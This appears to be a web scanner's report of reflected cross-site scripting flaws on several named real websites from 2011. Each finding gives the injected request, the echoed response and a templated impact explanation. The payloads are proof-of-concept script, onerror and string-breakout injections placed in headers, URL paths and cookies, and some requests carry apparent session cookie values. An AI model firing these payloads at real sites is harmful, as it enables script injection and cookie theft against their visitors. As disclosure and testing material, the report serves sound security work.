<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a9cd4<script>alert(1)</script>cf2ce7c8cab<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ef0"><script>alert(1)</script>43e8426f66e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=29ef0"><script>alert(1)</script>43e8426f66e
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1501 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=29ef0"><script>alert(1)</script>43e8426f66e"> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 492f0<script>alert(1)</script>34eb159046a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=492f0<script>alert(1)</script>34eb159046a
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1493 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... </script>34eb159046a">http://www.google.com/search?hl=en&q=492f0<script>alert(1)</script>34eb159046a</a> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 2ae36<script>alert(1)</script>e3eb2d74228 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2ae36<script>alert(1)</script>e3eb2d74228 Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1266 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83))>e6e3afeb687/</b> wa ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)2ae36<script>alert(1)</script>e3eb2d74228<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53c75"><script>alert(1)</script>f39259fbf77 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=53c75"><script>alert(1)</script>f39259fbf77
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1412 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=53c75"><script>alert(1)</script>f39259fbf77"> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 69385<script>alert(1)</script>a6f6fa4a2dc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=69385<script>alert(1)</script>a6f6fa4a2dc
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1404 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... </script>a6f6fa4a2dc">http://www.google.com/search?hl=en&q=69385<script>alert(1)</script>a6f6fa4a2dc</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 8b38e><script>alert(1)</script>88306eec07b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: 8b38e><script>alert(1)</script>88306eec07b
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1260 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <img src=a onerror=alert(document.cookie, referer: 8b38e><script>alert(1)</script>88306eec07b.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload bf01d><script>alert(1)</script>a78c347ab3f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=bf01d><script>alert(1)</script>a78c347ab3f
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1408 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <img src=a onerror=alert(document.cookie, referer: http://www.google.com/search?hl=en&q=bf01d><script>alert(1)</script>a78c347ab3f.</br> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload a38ec<script>alert(1)</script>b29724d166e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a38ec<script>alert(1)</script>b29724d166e Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:00 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1177 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a38ec<script>alert(1)</script>b29724d166e<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 63899<script>alert(1)</script>2920147a5c6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=63899<script>alert(1)</script>2920147a5c6
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1451 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... </script>2920147a5c6">http://www.google.com/search?hl=en&q=63899<script>alert(1)</script>2920147a5c6</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10da7"><script>alert(1)</script>2c7b19061dd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=10da7"><script>alert(1)</script>2c7b19061dd
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:01 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1459 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=10da7"><script>alert(1)</script>2c7b19061dd"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload c9a58<script>alert(1)</script>c39d6e840fd was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c9a58<script>alert(1)</script>c39d6e840fd Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1224 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c9a58<script>alert(1)</script>c39d6e840fd<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as text between TITLE tags. The payload c1b07</title><script>alert(1)</script>ccaaf7c0f74 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /~jam/leafnode+/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=c1b07</title><script>alert(1)</script>ccaaf7c0f74
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:14 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2514 Connection: close Content-Type: text/html; charset=UTF-8
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f30c8"><script>alert(1)</script>13cdfeef9c5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /~jam/leafnode+/ HTTP/1.1 Host: www25.big.jp Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=f30c8"><script>alert(1)</script>13cdfeef9c5
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:12 GMT Server: Apache/2.2.15 (Unix) DAV/2 Content-Length: 2490 Connection: close Content-Type: text/html; charset=UTF-8
The value of the DIGEST cookie is copied into the HTML document as plain text between tags. The payload a8a96<script>alert(1)</script>4d8999f6908 was submitted in the DIGEST cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /user_info.asp?0.2662578278686851 HTTP/1.1 Host: newsguy.com Proxy-Connection: keep-alive Referer: http://newsguy.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DIGEST=8tvYlg3bU.cESqZZU1EbqemKopp0oWW0L4d3d9256a8a96<script>alert(1)</script>4d8999f6908; session-id=07e5e76216ca9266b6006a1955c20780
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b40ac"%3balert(1)//0051c4cf45b was submitted in the BDATALIST cookie. This input was echoed as b40ac";alert(1)//0051c4cf45b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4b40ac"%3balert(1)//0051c4cf45b; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea9fc"%3balert(1)//a7580a5b82d was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as ea9fc";alert(1)//a7580a5b82d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=ea9fc"%3balert(1)//a7580a5b82d; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 85f6a<img%20src%3da%20onerror%3dalert(1)>f2e1e159d1b was submitted in the PV_CT cookie. This input was echoed as 85f6a<img src=a onerror=alert(1)>f2e1e159d1b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=285f6a<img%20src%3da%20onerror%3dalert(1)>f2e1e159d1b; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb310"%3balert(1)//8c4641eac9a was submitted in the BDATALIST cookie. This input was echoed as cb310";alert(1)//8c4641eac9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /a.cfml HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4cb310"%3balert(1)//8c4641eac9a; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a18bb"%3balert(1)//aa71a6423cd was submitted in the BDATALIST cookie. This input was echoed as a18bb";alert(1)//aa71a6423cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
